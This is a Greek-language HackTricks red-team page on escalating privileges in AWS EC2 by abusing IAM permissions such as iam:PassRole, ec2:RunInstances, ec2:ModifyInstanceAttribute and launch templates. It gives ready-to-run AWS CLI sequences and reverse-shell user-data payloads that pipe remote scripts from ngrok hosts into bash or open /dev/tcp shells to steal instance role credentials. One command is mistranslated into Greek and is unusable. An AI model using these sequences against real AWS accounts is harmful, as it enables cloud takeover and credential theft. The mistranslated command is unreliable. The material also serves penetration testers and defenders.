AWS - EC2 Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

EC2

Για περισσότερες πληροφορίες σχετικά με το EC2 ελέγξτε:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Ένας επιτιθέμενος μπορεί να δημιουργήσει ένα instance συνδέοντας έναν ρόλο IAM και στη συνέχεια να αποκτήσει πρόσβαση στο instance για να κλέψει τα διαπιστευτήρια του ρόλου IAM από το metadata endpoint.

  • Πρόσβαση μέσω SSH

Εκτελέστε ένα νέο instance χρησιμοποιώντας ένα δημιουργημένο κλειδί ssh (--key-name) και στη συνέχεια συνδεθείτε με αυτό μέσω ssh (αν θέλετε να δημιουργήσετε ένα νέο μπορεί να χρειαστεί να έχετε την άδεια ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Πρόσβαση μέσω αναστρεφόμενου κελύφους στα δεδομένα χρήστη

Μπορείτε να εκτελέσετε μια νέα περίπτωση χρησιμοποιώντας τα δεδομένα χρήστη (--user-data) που θα σας στείλουν έναν αναστρεφόμενο κελύφος. Δεν χρειάζεται να καθορίσετε την ομάδα ασφαλείας με αυτόν τον τρόπο.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Προσέχετε το GuradDuty αν χρησιμοποιείτε τα διαπιστευτήρια του IAM ρόλου έξω από την περίπτωση:

AWS - GuardDuty Enum

Πιθανή Επίδραση: Άμεση ανέλιξη σε οποιονδήποτε ρόλο EC2 που είναι συνδεδεμένος με υπάρχοντα προφίλ εικόνας.

Ανέλιξη σε ECS

Με αυτό το σύνολο δικαιωμάτων μπορείτε επίσης να δημιουργήσετε μια εικόνα EC2 και να την καταχωρήσετε μέσα σε έναν κατάλογο ECS. Με αυτόν τον τρόπο, οι υπηρεσίες ECS θα εκτελούνται μέσα στην εικόνα EC2 όπου έχετε πρόσβαση και στη συνέχεια μπορείτε να διεισδύσετε σε αυτές τις υπηρεσίες (docker containers) και να κλέψετε τους ρόλους ECS που είναι συνδεδεμένοι με αυτές.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Για να μάθετε πώς να εξαναγκάσετε τις υπηρεσίες ECS να τρέξουν σε αυτήν τη νέα περίπτωση EC2, ελέγξτε:

AWS - ECS Privesc

Εάν δεν μπορείτε να δημιουργήσετε μια νέα περίπτωση αλλά έχετε την άδεια ecs:RegisterContainerInstance, μπορείτε να εγγραφείτε στην περίπτωση εντός του cluster και να πραγματοποιήσετε τη σχολιασμένη επίθεση.

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων στους ρόλους ECS που είναι συνδεδεμένοι με τις εργασίες.

iam:PassRole, iam:AddRoleToInstanceProfile

Όμοια με την προηγούμενη περίπτωση, ένας επιτιθέμενος με αυτές τις άδειες μπορεί να αλλάξει τον ρόλο IAM μιας παραβιασμένης περίπτωσης έτσι ώστε να μπορεί να κλέψει νέα διαπιστευτήρια. Καθώς ένα προφίλ περίπτωσης μπορεί να έχει μόνο 1 ρόλο, εάν το προφίλ περίπτωσης ήδη έχει ένα ρόλο (συνηθέστερη περίπτωση), θα χρειαστεί επίσης iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Εάν το προφίλ της εικόνας έχει έναν ρόλο και ο επιτιθέμενος δεν μπορεί να τον αφαιρέσει, υπάρχει μια άλλη λύση. Μπορεί να βρει ένα προφίλ εικόνας χωρίς ρόλο ή να δημιουργήσει ένα νέο (iam:CreateInstanceProfile), να προσθέσει τον ρόλο σε αυτό το προφίλ εικόνας (όπως συζητήθηκε προηγουμένως) και να συσχετίσει το προφίλ εικόνας που έχει παραβιαστεί με μια παραβιασμένη εικόνα:

  • Εάν η εικόνα δεν έχει κανένα προφίλ εικόνας (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων σε διαφορετικό ρόλο EC2 (χρειάζεστε πρόσβαση σε ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση προφίλ instance).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Με αυτές τις άδειες είναι δυνατόν να αλλάξετε το προφίλ που συσχετίζεται με ένα instance, έτσι αν η επίθεση έχει ήδη πρόσβαση σε ένα instance, θα μπορεί να κλέψει διαπιστευτήρια για περισσότερους ρόλους προφίλ instance αλλάζοντας αυτόν που συσχετίζεται με αυτό.

  • Αν έχει ένα προφίλ instance, μπορείτε να αφαιρέσετε το προφίλ instance (ec2:DisassociateIamInstanceProfile) και να το συσχετίσετε *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ή αντικαταστήστε το προφίλ της εικόνας της παραβιασμένης περίπτωσης (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```
aws ec2 αντικατάσταση-συσχέτισης-προφίλ-παρουσίασης-παραδείγματος --προφίλ-παρουσίασης-παραδείγματος Όνομα=<τιμή> --αναγνωριστικό-συσχέτισης <τιμή>
```
```

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων σε ένα διαφορετικό ρόλο EC2 (χρειάζεστε να έχετε παραβιάσει ένα AWS EC2 instance και κάποια επιπλέον άδεια ή συγκεκριμένη κατάσταση προφίλ instance).

ec2:RequestSpotInstances,iam:PassRole

Ένας επιτιθέμενος με τις άδειες ec2:RequestSpotInstancesκαιiam:PassRole μπορεί να ζητήσει ένα Spot Instance με έναν ρόλο EC2 που είναι συνδεδεμένος και ένα rev shell στα δεδομένα χρήστη. Μόλις το instance εκτελεστεί, μπορεί να κλέψει τον ρόλο IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Ένας επιτιθέμενος με το ec2:ModifyInstanceAttribute μπορεί να τροποποιήσει τα χαρακτηριστικά των εισροών. Ανάμεσά τους, μπορεί να αλλάξει τα δεδομένα του χρήστη, πράγμα που σημαίνει ότι μπορεί να κάνει την είσοδο να εκτελέσει οποιαδήποτε δεδομένα. Αυτό μπορεί να χρησιμοποιηθεί για να πάρει ένα αντίστροφο κέλυφος (rev shell) στην EC2 είσοδο.

Να σημειωθεί ότι τα χαρακτηριστικά μπορούν να τροποποιηθούν μόνο όταν η είσοδος είναι σε κατάσταση διακοπής, οπότε απαιτούνται οι δικαιώματα ec2:StopInstances και ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων σε οποιοδήποτε EC2 IAM Role που είναι συνδεδεμένο με ένα δημιουργημένο instance.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Ένας επιτιθέμενος με τα δικαιώματα ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateκαι ec2:ModifyLaunchTemplate μπορεί να δημιουργήσει μια νέα έκδοση του Launch Template με ένα αντίστροφο κέλυφος (rev shell) στα δεδομένα χρήστη (user data) και οποιοδήποτε EC2 IAM Role πάνω του, να αλλάξει την προεπιλεγμένη έκδοση και οποιαδήποτε ομάδα Autoscaler που χρησιμοποιεί αυτό το Launch Template και είναι ρυθμισμένη να χρησιμοποιεί την τελευταία ή την προεπιλεγμένη έκδοση θα εκτελέσει ξανά τα instances χρησιμοποιώντας αυτό το template και θα εκτελέσει το αντίστροφο κέλυφος.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων σε διαφορετικό EC2 ρόλο.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Ένας επιτιθέμενος με τα δικαιώματα autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole μπορεί να δημιουργήσει μια διαμόρφωση εκκίνησης (Launch Configuration) με έναν IAM ρόλο και ένα αντίστροφο κέλυφος (rev shell) μέσα στα δεδομένα χρήστη (user data), και στη συνέχεια να δημιουργήσει μια ομάδα αυτόματης κλιμάκωσης (autoscaling group) από αυτήν τη διαμόρφωση και να περιμένει το αντίστροφο κέλυφος να κλέψει τον IAM ρόλο.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων σε διαφορετικό ρόλο EC2.

!autoscaling

Το σύνολο των δικαιωμάτων ec2:CreateLaunchTemplate και autoscaling:CreateAutoScalingGroup δεν επαρκούν για να αναβαθμίσουν τα προνόμια σε έναν ρόλο IAM, επειδή για να επισυνάψετε τον ρόλο που καθορίζεται στην Παραμετροποίηση Εκκίνησης ή στο Πρότυπο Εκκίνησης, χρειάζεστε τα δικαιώματα iam:PassRole και ec2:RunInstances (το οποίο είναι γνωστό ως ανέλιξη προνομίων).

ec2-instance-connect:SendSSHPublicKey

Ένας επιτιθέμενος με το δικαίωμα ec2-instance-connect:SendSSHPublicKey μπορεί να προσθέσει ένα κλειδί ssh σε έναν χρήστη και να το χρησιμοποιήσει για να αποκτήσει πρόσβαση (αν έχει πρόσβαση ssh στην περίπτωση) ή για να αναβαθμίσει προνόμια.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων στους ρόλους IAM του EC2 που είναι συνδεδεμένοι με εκτελούμενες περιπτώσεις.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Ένας επιτιθέμενος με την άδεια ec2-instance-connect:SendSerialConsoleSSHPublicKey μπορεί να προσθέσει ένα κλειδί ssh σε μια σειριακή σύνδεση. Εάν η σειριακή σύνδεση δεν είναι ενεργοποιημένη, ο επιτιθέμενος χρειάζεται την άδεια ec2:EnableSerialConsoleAccess για να την ενεργοποιήσει.

Για να συνδεθείτε στη σειριακή θύρα, χρειάζεστε επίσης να γνωρίζετε το όνομα χρήστη και τον κωδικό πρόσβασης ενός χρήστη μέσα στη μηχανή.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Αυτός ο τρόπος δεν είναι τόσο χρήσιμος για προνομιούχα ανέλιξη, καθώς χρειάζεστε ένα όνομα χρήστη και έναν κωδικό πρόσβασης για να το εκμεταλλευτείτε.

Πιθανές Επιπτώσεις: (Πολύ δύσκολο να αποδειχθεί) Άμεση προνομιούχα ανέλιξη στους ρόλους EC2 IAM που είναι συνδεδεμένοι με τις εκτελούμενες περιπτώσεις.

Αναφορές

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated